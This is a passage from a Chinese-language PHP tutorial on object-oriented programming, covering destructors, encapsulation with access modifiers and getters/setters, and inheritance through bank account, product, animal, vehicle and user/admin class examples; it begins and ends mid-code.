        $this->userRepository = $userRepository;
        $this->emailService = $emailService;
        $this->logger = $logger;

        $this->logger->info('UserService 已初始化');
    }

    // 其他方法...
}
?>

析构函数最佳实践

  1. 快速执行:析构函数应该快速执行,避免耗时操作
  2. 避免异常:不要在析构函数中抛出异常
  3. 清理资源:确保清理所有打开的资源
  4. 不要依赖执行时机:析构函数的执行时机不确定
  5. 使用引用计数:了解PHP的引用计数垃圾回收机制
<?php
// 好的析构函数设计
class DatabaseConnection {
    private $connection;
    private $isConnected = false;

    public function __construct($config) {
        $this->connection = $this->connect($config);
        $this->isConnected = true;
    }

    public function __destruct() {
        if ($this->isConnected && $this->connection) {
            // 快速、安全的清理操作
            $this->connection->close();
            $this->isConnected = false;
        }
    }

    // 提供显式关闭方法
    public function close() {
        if ($this->isConnected && $this->connection) {
            $this->connection->close();
            $this->isConnected = false;
        }
    }
}
?>

性能考虑

  1. 避免在析构函数中执行耗时操作
  2. 及时释放大对象的内存
  3. 考虑使用显式关闭方法而不是依赖析构函数
  4. 理解PHP的垃圾回收机制

总结

构造函数和析构函数是面向对象编程中的重要组成部分:

关键要点:

  1. 构造函数

    • 在对象创建时自动调用
    • 用于初始化对象属性和分配资源
    • 支持参数传递和依赖注入
    • 是对象生命周期的起点
  2. 析构函数

    • 在对象销毁时自动调用
    • 用于清理资源和释放内存
    • 执行时机不确定,由垃圾回收机制决定
    • 是对象生命周期的终点
  3. 对象生命周期

    • 创建 → 构造函数执行 → 使用 → 销毁 → 析构函数执行
    • 理解引用计数和垃圾回收机制
    • 合理管理对象的生命周期
  4. 资源管理

    • 在构造函数中分配资源
    • 在析构函数中释放资源
    • 遵循"谁分配,谁释放"的原则

最佳实践:

  • 构造函数保持简单,只执行必要的初始化
  • 析构函数快速执行,避免耗时操作
  • 使用依赖注入提高代码的可测试性
  • 及时清理资源,避免内存泄漏
  • 理解PHP的垃圾回收机制

通过合理使用构造函数和析构函数,你可以构建更加健壮和可靠的面向对象应用程序。

封装与继承

封装和继承是面向对象编程的两个核心概念。封装帮助我们保护数据和控制访问,而继承则让我们能够重用和扩展现有代码。这两个特性共同构建了面向对象编程的基础架构。

学习目标

完成本节学习后,你将能够:

  • 理解封装的概念和重要性
  • 掌握PHP的访问控制修饰符(public、protected、private)
  • 学会使用getter和setter方法
  • 理解继承的概念和优势
  • 掌握extends关键字的使用
  • 学会使用parent关键字访问父类成员
  • 理解方法重写和parent::语法
  • 了解继承中的构造函数调用

封装(Encapsulation)

什么是封装

封装是将数据(属性)和操作数据的方法(行为)捆绑在一起,并对外部隐藏对象的内部实现细节。封装提供了以下好处:

  1. 数据保护:防止外部代码直接修改对象内部状态
  2. 访问控制:通过公共接口控制对数据的访问
  3. 实现隐藏:隐藏内部实现细节,降低复杂性
  4. 维护性:可以修改内部实现而不影响外部代码

访问控制修饰符

PHP提供了三个访问控制修饰符:

1. public(公共的)

  • 可以在任何地方访问
  • 类内部、子类、类外部都可以访问

2. protected(受保护的)

  • 只能在类内部和子类中访问
  • 类外部无法直接访问

3. private(私有的)

  • 只能在定义它的类内部访问
  • 子类也无法访问

基本封装示例

<?php
class BankAccount {
    // 私有属性:只能通过类的方法访问
    private $accountNumber;
    private $balance;
    private $ownerName;
    private $isLocked = false;

    // 受保护的属性:子类可以访问
    protected $accountType;
    protected $createdDate;

    // 公有属性:任何地方都可以访问(通常不推荐)
    public $bankName = "示例银行";

    // 构造函数
    public function __construct($accountNumber, $ownerName, $initialBalance = 0) {
        $this->accountNumber = $this->validateAccountNumber($accountNumber);
        $this->ownerName = $ownerName;
        $this->balance = $this->validateBalance($initialBalance);
        $this->accountType = "储蓄账户";
        $this->createdDate = date('Y-m-d H:i:s');

        echo "创建账户:{$this->accountNumber},持有人:{$this->ownerName}\n";
    }

    // 公有方法:外部接口
    public function deposit($amount) {
        if ($this->isLocked) {
            throw new Exception("账户已锁定,无法存款");
        }

        $amount = $this->validateAmount($amount);
        $this->balance += $amount;

        echo "存入:¥{$amount},余额:¥{$this->balance}\n";
        return $this->balance;
    }

    public function withdraw($amount) {
        if ($this->isLocked) {
            throw new Exception("账户已锁定,无法取款");
        }

        $amount = $this->validateAmount($amount);

        if ($this->balance < $amount) {
            throw new Exception("余额不足");
        }

        $this->balance -= $amount;
        echo "取出:¥{$amount},余额:¥{$this->balance}\n";
        return $this->balance;
    }

    public function getBalance() {
        return $this->balance;
    }

    public function getAccountNumber() {
        return $this->maskAccountNumber($this->accountNumber);
    }

    public function getOwnerName() {
        return $this->ownerName;
    }

    public function lock() {
        $this->isLocked = true;
        echo "账户 {$this->accountNumber} 已锁定\n";
    }

    public function unlock() {
        $this->isLocked = false;
        echo "账户 {$this->accountNumber} 已解锁\n";
    }

    // 受保护的方法:子类可以访问
    protected function validateAmount($amount) {
        if (!is_numeric($amount) || $amount <= 0) {
            throw new Exception("金额必须是正数");
        }
        return (float)$amount;
    }

    protected function validateAccountNumber($accountNumber) {
        if (empty($accountNumber) || strlen($accountNumber) < 10) {
            throw new Exception("账户号码格式不正确");
        }
        return $accountNumber;
    }

    protected function validateBalance($balance) {
        if (!is_numeric($balance) || $balance < 0) {
            throw new Exception("初始余额必须是非负数");
        }
        return (float)$balance;
    }

    protected function maskAccountNumber($accountNumber) {
        return substr($accountNumber, 0, 4) . '****' . substr($accountNumber, -4);
    }

    // 私有方法:只有类内部可以访问
    private function logTransaction($type, $amount) {
        $timestamp = date('Y-m-d H:i:s');
        echo "[$timestamp] {$type}: ¥{$amount}\n";
    }

    public function getAccountInfo() {
        return [
            'account_number' => $this->getAccountNumber(),
            'owner' => $this->ownerName,
            'balance' => $this->balance,
            'type' => $this->accountType,
            'created_date' => $this->createdDate,
            'is_locked' => $this->isLocked
        ];
    }
}

// 使用银行账户类
echo "=== 基本封装示例 ===\n";

try {
    $account = new BankAccount("1234567890", "张三", 1000.00);

    // 通过公有方法访问
    echo "账户信息:\n";
    echo "账号:{$account->getAccountNumber()}\n";
    echo "户主:{$account->getOwnerName()}\n";
    echo "余额:¥{$account->getBalance()}\n";

    // 进行操作
    $account->deposit(500.00);
    $account->withdraw(200.00);

    // 访问公共属性
    echo "银行:{$account->bankName}\n";

    // 这些操作会导致错误:
    // echo $account->accountNumber;  // 错误:无法访问私有属性
    // echo $account->balance;        // 错误:无法访问私有属性
    // $account->balance = 10000;     // 错误:无法修改私有属性

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

Getter和Setter方法

Getter和Setter方法提供了一种受控的方式来访问和修改私有属性。

<?php
class Product {
    private $id;
    private $name;
    private $price;
    private $description;
    private $inStock;
    private $minStockLevel = 10;

    public function __construct($id, $name, $price) {
        $this->id = $this->validateId($id);
        $this->name = $this->validateName($name);
        $this->price = $this->validatePrice($price);
        $this->inStock = true;
    }

    // Getter方法
    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }

    public function getPrice() {
        return $this->price;
    }

    public function getDescription() {
        return $this->description ?: '暂无描述';
    }

    public function isInStock() {
        return $this->inStock;
    }

    public function getMinStockLevel() {
        return $this->minStockLevel;
    }

    // Setter方法(带验证)
    public function setName($name) {
        $this->name = $this->validateName($name);
        echo "产品名称已更新为:{$this->name}\n";
    }

    public function setPrice($price) {
        $this->price = $this->validatePrice($price);
        echo "产品价格已更新为:¥{$this->price}\n";
    }

    public function setDescription($description) {
        $this->description = $this->validateDescription($description);
        echo "产品描述已更新\n";
    }

    public function setInStock($inStock) {
        $this->inStock = (bool)$inStock;
        echo "产品库存状态:" . ($this->inStock ? "有货" : "缺货") . "\n";
    }

    public function setMinStockLevel($level) {
        $this->minStockLevel = $this->validateStockLevel($level);
        echo "最小库存警戒线设置为:{$this->minStockLevel}\n";
    }

    // 带业务逻辑的设置方法
    public function applyDiscount($percentage) {
        if ($percentage <= 0 || $percentage > 100) {
            throw new Exception("折扣百分比必须在0-100之间");
        }

        $discount = $this->price * ($percentage / 100);
        $this->price -= $discount;

        echo "应用 {$percentage}% 折扣,折扣金额:¥{$discount}\n";
        echo "折后价格:¥{$this->price}\n";

        return $this->price;
    }

    public function increasePrice($amount) {
        if ($amount <= 0) {
            throw new Exception("增加金额必须为正数");
        }

        $this->price += $amount;
        echo "价格增加:¥{$amount},新价格:¥{$this->price}\n";

        return $this->price;
    }

    // 验证方法
    private function validateId($id) {
        if (empty($id)) {
            throw new Exception("产品ID不能为空");
        }
        return $id;
    }

    private function validateName($name) {
        if (empty($name)) {
            throw new Exception("产品名称不能为空");
        }
        if (strlen($name) > 100) {
            throw new Exception("产品名称过长");
        }
        return trim($name);
    }

    private function validatePrice($price) {
        if (!is_numeric($price) || $price < 0) {
            throw new Exception("价格必须是非负数");
        }
        return (float)$price;
    }

    private function validateDescription($description) {
        if (strlen($description) > 500) {
            throw new Exception("描述过长,最多500字符");
        }
        return $description;
    }

    private function validateStockLevel($level) {
        if (!is_numeric($level) || $level < 0) {
            throw new Exception("库存警戒线必须是非负数");
        }
        return (int)$level;
    }

    // 只读属性(只有getter)
    public function getFormattedPrice() {
        return '¥' . number_format($this->price, 2);
    }

    public function getProductInfo() {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'price' => $this->getFormattedPrice(),
            'description' => $this->getDescription(),
            'in_stock' => $this->isInStock(),
            'min_stock_level' => $this->minStockLevel
        ];
    }
}

// 使用Getter和Setter
echo "=== Getter和Setter方法示例 ===\n";

try {
    $product = new Product("P001", "智能手机", 2999.00);

    echo "\n初始产品信息:\n";
    print_r($product->getProductInfo());

    echo "\n修改产品属性:\n";
    $product->setName("智能手机 Pro");
    $product->setPrice(3299.00);
    $product->setDescription("新款智能手机,配置更强大");

    echo "\n应用折扣:\n";
    $product->applyDiscount(10);

    echo "\n最终产品信息:\n";
    print_r($product->getProductInfo());

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

高级封装技巧

<?php
class Configuration {
    private $settings = [];
    private $readOnly = [];
    private $validatorCallbacks = [];

    public function __construct() {
        // 初始化默认配置
        $this->initializeDefaults();
    }

    // 设置配置值
    public function set($key, $value) {
        if ($this->isReadOnly($key)) {
            throw new Exception("配置项 '$key' 为只读");
        }

        $oldValue = $this->get($key);

        // 执行验证回调
        if (isset($this->validatorCallbacks[$key])) {
            $callback = $this->validatorCallbacks[$key];
            if (!$callback($value)) {
                throw new Exception("配置项 '$key' 的值无效");
            }
        }

        $this->settings[$key] = $value;

        if ($oldValue !== $value) {
            $this->onConfigChange($key, $oldValue, $value);
        }

        return $this;
    }

    // 获取配置值
    public function get($key, $default = null) {
        return $this->settings[$key] ?? $default;
    }

    // 批量设置
    public function setMultiple(array $settings) {
        foreach ($settings as $key => $value) {
            $this->set($key, $value);
        }
        return $this;
    }

    // 检查配置是否存在
    public function has($key) {
        return array_key_exists($key, $this->settings);
    }

    // 删除配置项
    public function remove($key) {
        if ($this->isReadOnly($key)) {
            throw new Exception("无法删除只读配置项 '$key'");
        }

        unset($this->settings[$key]);
        return $this;
    }

    // 设置只读配置
    public function setReadOnly($key) {
        $this->readOnly[$key] = true;
        return $this;
    }

    // 设置验证器
    public function setValidator($key, callable $validator) {
        $this->validatorCallbacks[$key] = $validator;
        return $this;
    }

    // 获取所有配置
    public function all() {
        return $this->settings;
    }

    // 清空所有非只读配置
    public function clear() {
        $readOnlySettings = array_intersect_key($this->settings, $this->readOnly);
        $this->settings = $readOnlySettings;
        return $this;
    }

    // 从数组加载配置
    public function loadFromArray(array $config) {
        $this->settings = array_merge($this->settings, $config);
        return $this;
    }

    // 保存到数组
    public function toArray() {
        return $this->settings;
    }

    // 魔术方法:支持数组式访问
    public function __get($key) {
        return $this->get($key);
    }

    public function __set($key, $value) {
        $this->set($key, $value);
    }

    public function __isset($key) {
        return $this->has($key);
    }

    public function __unset($key) {
        $this->remove($key);
    }

    // 私有方法
    private function isReadOnly($key) {
        return isset($this->readOnly[$key]);
    }

    private function initializeDefaults() {
        $this->settings = [
            'app_name' => 'MyApp',
            'version' => '1.0.0',
            'debug' => false,
            'timezone' => 'Asia/Shanghai',
            'max_connections' => 100,
            'timeout' => 30
        ];

        // 设置只读配置
        $this->setReadOnly('version');

        // 设置验证器
        $this->setValidator('debug', function($value) {
            return is_bool($value);
        });

        $this->setValidator('max_connections', function($value) {
            return is_int($value) && $value > 0 && $value <= 1000;
        });
    }

    private function onConfigChange($key, $oldValue, $newValue) {
        echo "配置变更:$key 从 '$oldValue' 改为 '$newValue'\n";
    }
}

// 使用高级封装的配置类
echo "=== 高级封装技巧示例 ===\n";

try {
    $config = new Configuration();

    echo "\n初始配置:\n";
    print_r($config->all());

    echo "\n修改配置:\n";
    $config->set('debug', true);
    $config->set('max_connections', 50);

    echo "\n尝试设置只读配置(会失败):\n";
    try {
        $config->set('version', '2.0.0');
    } catch (Exception $e) {
        echo "预期错误:" . $e->getMessage() . "\n";
    }

    echo "\n尝试设置无效值(会失败):\n";
    try {
        $config->set('max_connections', -1);
    } catch (Exception $e) {
        echo "预期错误:" . $e->getMessage() . "\n";
    }

    echo "\n使用魔术方法访问配置:\n";
    echo "应用名称:{$config->app_name}\n";
    echo "调试模式:" . ($config->debug ? '开启' : '关闭') . "\n";

    // 数组式访问
    if (isset($config->debug)) {
        echo "调试模式已设置\n";
    }

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

继承(Inheritance)

什么是继承

继承允许一个类(子类)获得另一个类(父类)的属性和方法。继承提供了以下好处:

  1. 代码重用:子类可以重用父类的代码
  2. 扩展功能:在父类基础上添加新功能
  3. 层次结构:创建清晰的类层次关系
  4. 多态支持:为多态提供基础

基本继承语法

<?php
class ParentClass {
    // 父类的属性和方法
}

class ChildClass extends ParentClass {
    // 子类的新属性和方法
}
?>

基本继承示例

<?php
// 父类:动物
class Animal {
    protected $name;
    protected $age;
    protected $species;

    public function __construct($name, $age, $species) {
        $this->name = $name;
        $this->age = $age;
        $this->species = $species;
        echo "创建了一个 {$this->species}:{$this->name}\n";
    }

    public function eat() {
        echo "{$this->name} 正在吃东西\n";
    }

    public function sleep() {
        echo "{$this->name} 正在睡觉\n";
    }

    public function makeSound() {
        echo "{$this->name} 发出了声音\n";
    }

    public function getAge() {
        return $this->age;
    }

    public function getName() {
        return $this->name;
    }

    public function getSpecies() {
        return $this->species;
    }

    public function celebrateBirthday() {
        $this->age++;
        echo "{$this->name} 过生日了,现在 {$this->age} 岁!\n";
    }

    public function getInfo() {
        return "这是一只 {$this->age} 岁的 {$this->species},名字叫 {$this->name}";
    }
}

// 子类:狗
class Dog extends Animal {
    private $breed;

    public function __construct($name, $age, $breed) {
        // 调用父类构造函数
        parent::__construct($name, $age, "狗");
        $this->breed = $breed;
        echo "这是一只 {$this->breed}\n";
    }

    // 新增方法
    public function wagTail() {
        echo "{$this->name} 摇着尾巴\n";
    }

    public function fetch($item) {
        echo "{$this->name} 去取 {$item}\n";
    }

    // 重写父类方法
    public function makeSound() {
        echo "{$this->name} 汪汪叫\n";
    }

    // 扩展父类方法
    public function getInfo() {
        $parentInfo = parent::getInfo();
        return $parentInfo . ",品种是 {$this->breed}";
    }

    public function getBreed() {
        return $this->breed;
    }
}

// 子类:猫
class Cat extends Animal {
    private $color;
    private $isIndoor;

    public function __construct($name, $age, $color, $isIndoor = true) {
        parent::__construct($name, $age, "猫");
        $this->color = $color;
        $this->isIndoor = $isIndoor;
        echo "这是一只 {$this->color} 的" . ($this->isIndoor ? "室内" : "室外") . "猫\n";
    }

    // 新增方法
    public function purr() {
        echo "{$this->name} 发出呼噜声\n";
    }

    public function scratch() {
        echo "{$this->name} 磨爪子\n";
    }

    public function climb() {
        echo "{$this->name} 爬到了高处\n";
    }

    // 重写父类方法
    public function makeSound() {
        echo "{$this->name} 喵喵叫\n";
        $this->purr();
    }

    // 扩展父类方法
    public function getInfo() {
        $parentInfo = parent::getInfo();
        return $parentInfo . ",颜色是 {$this->color}," .
               ($this->isIndoor ? "室内" : "室外") . "猫";
    }

    public function getColor() {
        return $this->color;
    }

    public function isIndoor() {
        return $this->isIndoor;
    }
}

// 使用继承
echo "=== 基本继承示例 ===\n";

echo "\n创建动物对象:\n";
$dog = new Dog("旺财", 3, "金毛");
$cat = new Cat("咪咪", 2, "橘色");

echo "\n测试狗的行为:\n";
$dog->eat();
$dog->makeSound();
$dog->wagTail();
$dog->fetch("球");

echo "\n测试猫的行为:\n";
$cat->eat();
$cat->makeSound();
$cat->climb();
$cat->scratch();

echo "\n动物信息:\n";
echo $dog->getInfo() . "\n";
echo $cat->getInfo() . "\n";

echo "\n生日庆祝:\n";
$dog->celebrateBirthday();
$cat->celebrateBirthday();
?>

复杂的继承示例

<?php
// 父类:车辆
class Vehicle {
    protected $brand;
    protected $model;
    protected $year;
    protected $speed = 0;
    protected $maxSpeed;
    protected $fuel = 100;
    protected $isRunning = false;

    public function __construct($brand, $model, $year, $maxSpeed) {
        $this->brand = $brand;
        $this->model = $model;
        $this->year = $year;
        $this->maxSpeed = $maxSpeed;

        echo "创建了 {$this->brand} {$this->model} ({$this->year}年)\n";
    }

    public function start() {
        if ($this->fuel <= 0) {
            echo "燃料不足,无法启动\n";
            return false;
        }

        if (!$this->isRunning) {
            $this->isRunning = true;
            echo "{$this->brand} {$this->model} 启动了\n";
            return true;
        } else {
            echo "车辆已经在运行中\n";
            return true;
        }
    }

    public function stop() {
        if ($this->isRunning) {
            $this->speed = 0;
            $this->isRunning = false;
            echo "{$this->brand} {$this->model} 停止了\n";
        } else {
            echo "车辆已经停止\n";
        }
        return true;
    }

    public function accelerate($amount) {
        if (!$this->isRunning) {
            echo "请先启动车辆\n";
            return false;
        }

        $newSpeed = $this->speed + $amount;
        if ($newSpeed > $this->maxSpeed) {
            echo "不能超过最高速度 {$this->maxSpeed} km/h\n";
            return false;
        }

        $this->speed = $newSpeed;
        $this->consumeFuel($amount * 0.1);
        echo "加速到 {$this->speed} km/h\n";
        return true;
    }

    public function brake($amount) {
        if ($this->speed >= $amount) {
            $this->speed -= $amount;
        } else {
            $this->speed = 0;
        }
        echo "减速到 {$this->speed} km/h\n";
        return $this->speed;
    }

    public function refuel($amount) {
        $this->fuel = min(100, $this->fuel + $amount);
        echo "加油 {$amount}%,当前燃料:{$this->fuel}%\n";
    }

    public function getFuel() {
        return $this->fuel;
    }

    public function getSpeed() {
        return $this->speed;
    }

    public function isRunning() {
        return $this->isRunning;
    }

    public function getMaxSpeed() {
        return $this->maxSpeed;
    }

    public function getVehicleInfo() {
        return [
            'brand' => $this->brand,
            'model' => $this->model,
            'year' => $this->year,
            'speed' => $this->speed,
            'max_speed' => $this->maxSpeed,
            'fuel' => $this->fuel,
            'is_running' => $this->isRunning
        ];
    }

    protected function consumeFuel($amount) {
        $this->fuel = max(0, $this->fuel - $amount);
        if ($this->fuel <= 10) {
            echo "警告:燃料不足!\n";
        }
        if ($this->fuel <= 0) {
            $this->stop();
            echo "燃料耗尽,车辆停止\n";
        }
    }
}

// 子类:汽车
class Car extends Vehicle {
    private $doors;
    private $trunkSize;
    private $isConvertible;

    public function __construct($brand, $model, $year, $maxSpeed, $doors, $trunkSize, $isConvertible = false) {
        parent::__construct($brand, $model, $year, $maxSpeed);
        $this->doors = $doors;
        $this->trunkSize = $trunkSize;
        $this->isConvertible = $isConvertible;
    }

    public function openTrunk() {
        echo "打开了后备箱(容量:{$this->trunkSize}L)\n";
    }

    public function closeTrunk() {
        echo "关闭了后备箱\n";
    }

    public function honk() {
        echo "嘀嘀!\n";
    }

    public function turnOnAirConditioner() {
        echo "打开空调\n";
    }

    public function playRadio($station) {
        echo "收音机调到 {$station} 频道\n";
    }

    public function openRoof() {
        if ($this->isConvertible) {
            echo "打开了敞篷\n";
        } else {
            echo "这辆车不是敞篷车\n";
        }
    }

    public function closeRoof() {
        if ($this->isConvertible) {
            echo "关闭了敞篷\n";
        }
    }

    public function getDoors() {
        return $this->doors;
    }

    public function getTrunkSize() {
        return $this->trunkSize;
    }

    public function isConvertible() {
        return $this->isConvertible;
    }

    public function getVehicleInfo() {
        $info = parent::getVehicleInfo();
        $info['doors'] = $this->doors;
        $info['trunk_size'] = $this->trunkSize;
        $info['is_convertible'] = $this->isConvertible;
        return $info;
    }
}

// 子类:摩托车
class Motorcycle extends Vehicle {
    private $engineCC;
    private $hasWindshield;
    private $type; // 跑车、巡航车等

    public function __construct($brand, $model, $year, $maxSpeed, $engineCC, $hasWindshield = false, $type = "普通") {
        parent::__construct($brand, $model, $year, $maxSpeed);
        $this->engineCC = $engineCC;
        $this->hasWindshield = $hasWindshield;
        $this->type = $type;
    }

    public function wheelie() {
        if ($this->speed >= 20 && $this->speed <= 60) {
            echo "翘起前轮!\n";
        } else {
            echo "速度不适合做翘头动作\n";
        }
    }

    public function lean($direction) {
        if ($this->speed >= 30) {
            echo "向{$direction}倾斜转弯\n";
        } else {
            echo "速度太慢,无法倾斜\n";
        }
    }

    public function installWindshield() {
        if (!$this->hasWindshield) {
            $this->hasWindshield = true;
            echo "安装了挡风玻璃\n";
        } else {
            echo "已经有挡风玻璃了\n";
        }
    }

    public function removeWindshield() {
        if ($this->hasWindshield) {
            $this->hasWindshield = false;
            echo "拆卸了挡风玻璃\n";
        } else {
            echo "没有挡风玻璃可拆卸\n";
        }
    }

    // 重写父类方法:摩托车燃料消耗不同
    protected function consumeFuel($amount) {
        parent::consumeFuel($amount * 0.7); // 摩托车更省油
    }

    public function getEngineCC() {
        return $this->engineCC;
    }

    public function hasWindshield() {
        return $this->hasWindshield;
    }

    public function getType() {
        return $this->type;
    }

    public function getVehicleInfo() {
        $info = parent::getVehicleInfo();
        $info['engine_cc'] = $this->engineCC;
        $info['has_windshield'] = $this->hasWindshield;
        $info['type'] = $this->type;
        return $info;
    }
}

// 使用复杂继承
echo "=== 复杂继承示例 ===\n";

echo "\n创建车辆:\n";
$car = new Car("特斯拉", "Model 3", 2023, 225, 4, 425, false);
$motorcycle = new Motorcycle("本田", "CBR600RR", 2022, 260, 600, true, "跑车");

echo "\n测试汽车:\n";
$car->start();
$car->accelerate(50);
$car->honk();
$car->turnOnAirConditioner();
$car->openTrunk();
$car->getVehicleInfo();

echo "\n测试摩托车:\n";
$motorcycle->start();
$motorcycle->accelerate(40);
$motorcycle->wheelie();
$motorcycle->lean("左");
$motorcycle->accelerate(80);
$motorcycle->wheelie();

echo "\n车辆信息对比:\n";
echo "汽车:\n";
print_r($car->getVehicleInfo());
echo "\n摩托车:\n";
print_r($motorcycle->getVehicleInfo());
?>

继承中的构造函数

<?php
// 父类:用户
class User {
    protected $id;
    protected $username;
    protected $email;
    protected $passwordHash;
    protected $createdAt;
    protected $lastLogin;
    protected $isActive = true;

    public function __construct($username, $email, $password) {
        $this->id = uniqid('user_');
        $this->username = $this->validateUsername($username);
        $this->email = $this->validateEmail($email);
        $this->passwordHash = $this->hashPassword($password);
        $this->createdAt = date('Y-m-d H:i:s');

        echo "创建用户:{$this->username}\n";
    }

    protected function validateUsername($username) {
        if (empty($username) || strlen($username) < 3) {
            throw new Exception("用户名至少需要3个字符");
        }
        return $username;
    }

    protected function validateEmail($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception("邮箱格式不正确");
        }
        return $email;
    }

    protected function hashPassword($password) {
        if (strlen($password) < 6) {
            throw new Exception("密码至少需要6个字符");
        }
        return password_hash($password, PASSWORD_DEFAULT);
    }

    public function login($password) {
        if (!$this->isActive) {
            throw new Exception("账户已被禁用");
        }

        if (password_verify($password, $this->passwordHash)) {
            $this->lastLogin = date('Y-m-d H:i:s');
            echo "用户 {$this->username} 登录成功\n";
            return true;
        } else {
            throw new Exception("密码错误");
        }
    }

    public function logout() {
        echo "用户 {$this->username} 已登出\n";
    }

    public function activate() {
        $this->isActive = true;
        echo "账户 {$this->username} 已激活\n";
    }

    public function deactivate() {
        $this->isActive = false;
        echo "账户 {$this->username} 已禁用\n";
    }

    // Getter方法
    public function getId() { return $this->id; }
    public function getUsername() { return $this->username; }
    public function getEmail() { return $this->email; }
    public function getCreatedAt() { return $this->createdAt; }
    public function getLastLogin() { return $this->lastLogin; }
    public function isActive() { return $this->isActive; }

    public function getUserInfo() {
        return [
            'id' => $this->id,
            'username' => $this->username,
            'email' => $this->email,
            'created_at' => $this->createdAt,
            'last_login' => $this->lastLogin,
            'is_active' => $this->isActive
        ];
    }
}

// 子类:管理员
class Admin extends User {
    private $adminLevel;
    private $permissions;
    private $department;

    public function __construct($username, $email, $password, $adminLevel = 1, $department = '系统') {
        // 先调用父类构造函数
        parent::__construct($username, $email, $password);

        // 然后初始化子类特有属性
        $this->adminLevel = $this->validateAdminLevel($adminLevel);
        $this->department = $department;
        $this->permissions = $this->getDefaultPermissions();

        echo "管理员 {$this->username} (级别:{$this->adminLevel}) 已创建\n";
    }

    private function validateAdminLevel($level) {
        if (!is_int($level) || $level < 1 || $level > 5) {
            throw new Exception("管理员级别必须在1-5之间");
        }
        return $level;
    }

    private function getDefaultPermissions() {
        $permissions = ['user_management'];

        if ($this->adminLevel >= 2) {
            $permissions[] = 'content_management';
        }
        if ($this->adminLevel >= 3) {
            $permissions[] = 'system_config';
        }
        if ($this->adminLevel >= 4) {
            $permissions[] = 'data_export';
        }
        if ($this->adminLevel >= 5) {
            $permissions[] = 'system_admin';
        }

        return $permissions;
    }

    public function hasPermission($permission) {
        return in_array($permission, $this->permissions);
    }

    public function addPermission($permission) {
        if (!$this->hasPermission($permission)) {
            $this->permissions[] = $permission;
            echo "管理员 {$this->username} 获得权限:{$permission}\n";
        }
        return $this;
    }

    public function removePermission($permission) {
        if ($this->hasPermission($permission) && $permission !== 'user_management') {
            $key = array_search($permission, $this->permissions);
            unset($this->permissions[$key]);
            $this->permissions = array_values($this->permissions);
            echo "管理员 {$this->username} 失去权限:{$permission}\n";
        }
        return $this;
    }

    public function manageUsers() {
        if ($this->hasPermission('user_management')) {
            echo "管理员 {$this->username} 正在管理用户\n";
        } else {
            throw new Exception("没有用户管理权限");
        }
    }

    public function configureSystem() {
        if ($this->hasPermission('system_config')) {
            echo "管理员 {$this->username} 正在配置系统\n";
        } else {
            throw new Exception("没有系统配置权限");
        }
    }

    public function exportData() {
        if ($this->hasPermission('data_export')) {
            echo "管理员 {$this->username} 正在导出数据\n";
        } else {
            throw new Exception("没有数据导出权限");
        }
    }

    // 重写父类方法
    public function getUserInfo() {
        $info = parent::getUserInfo();
        $info['admin_level'] = $this->adminLevel;
        $info['department'] = $this->department;
        $info['permissions'] = $this->permissions;
        return $info;
    }

    // Getter方法
    public function getAdminLevel() { return $this->adminLevel; }
    public function getDepartment() { return $this->department; }
    public function getPermissions() { return $this->permissions; }
}

// 子类:VIP用户
class VIPUser extends User {
    private $vipLevel;
    private $expirationDate;
    private $specialFeatures;

    public function __construct($username, $email, $password, $vipLevel = 1, $duration = '1 year') {
        parent::__construct($username, $email, $password);

        $this->vipLevel = $this->validateVipLevel($vipLevel);
        $this->expirationDate = $this->calculateExpirationDate($duration);
        $this->specialFeatures = $this->getVipFeatures();

        echo "VIP用户 {$this->username} (级别:{$this->vipLevel}) 已创建\n";
        echo "有效期至:{$this->expirationDate}\n";
    }

    private function validateVipLevel($level) {
        if (!is_int($level) || $level < 1 || $level > 3) {
            throw new Exception("VIP级别必须在1-3之间");
        }
        return $level;
    }

    private function calculateExpirationDate($duration) {
        $date = new DateTime();
        if ($duration === '6 months') {
            $date->add(new DateInterval('P6M'));
        } elseif ($duration === '1 year') {
            $date->add(new DateInterval('P1Y'));
        } elseif ($duration === '2 years') {
            $date->add(new DateInterval('P2Y'));
        }
        return $date->format('Y-m-d');
    }

    private function getVipFeatures() {
        $features = ['priority_support'];

        if ($this->vipLevel >= 2) {
            $features[] = 'exclusive_content';
            $features[] = 'no_ads';
        }
        if ($this->vipLevel >= 3) {
            $features[] = 'unlimited_downloads';
            $features[] = 'personal_manager';
        }

        return $features;
    }

    public function isVipActive() {
        return $this->expirationDate >= date('Y-m-d');
    }

    public function extendVip($duration) {
        $currentDate = new DateTime($this->expirationDate);
        if ($duration === '6 months') {
            $currentDate->add(new DateInterval('P6M'));
        } elseif ($duration === '1 year') {
            $currentDate->add(new DateInterval('P1Y'));
        }
        $this->expirationDate = $currentDate->format('Y-m-d');
        echo "VIP已延期至 {$this->expirationDate}\n";
    }

    public function hasFeature($feature) {
        return in_array($feature, $this->specialFeatures) && $this->isVipActive();
    }

    public function accessExclusiveContent() {
        if ($this->hasFeature('exclusive_content')) {
            echo "VIP用户 {$this->username} 正在访问独占内容\n";
        } else {
            throw new Exception("没有访问独占内容的权限");
        }
    }

    public function downloadFile($filename) {
        if ($this->hasFeature('unlimited_downloads')) {
            echo "VIP用户 {$this->username} 正在下载 {$filename}\n";
        } else {
            echo "下载次数受限,请升级VIP\n";
        }
    }

    // 重写父类方法
    public function getUserInfo() {
        $info = parent::getUserInfo();
        $info['vip_level'] = $this->vipLevel;
        $info['expiration_date'] = $this->expirationDate;
        $info['special_features'] = $this->specialFeatures;
        $info['is_vip_active'] = $this->isVipActive();
        return $info;
    }

    // Getter方法
    public function getVipLevel() { return $this->vipLevel; }
    public function getExpirationDate() { return $this->expirationDate; }
    public function getSpecialFeatures() { return $this->specialFeatures; }
}

// 使用继承中的构造函数
echo "=== 继承中的构造函数示例 ===\n";

try {
    echo "\n创建不同类型的用户:\n";
    $user = new User("普通用户", "user@example.com", "password123");
    $admin = new Admin("系统管理员", "admin@example.com", "adminpass", 3, "技术部");
    $vip = new VIPUser("VIP会员", "vip@example.com", "vippass", 2, "1 year");

    echo "\n用户登录测试:\n";
    $user->login("password123");
    $admin->login("adminpass");
    $vip->login("vippass");

    echo "\n管理员权限测试:\n";
    $admin->manageUsers();
    $admin->configureSystem();
    try {
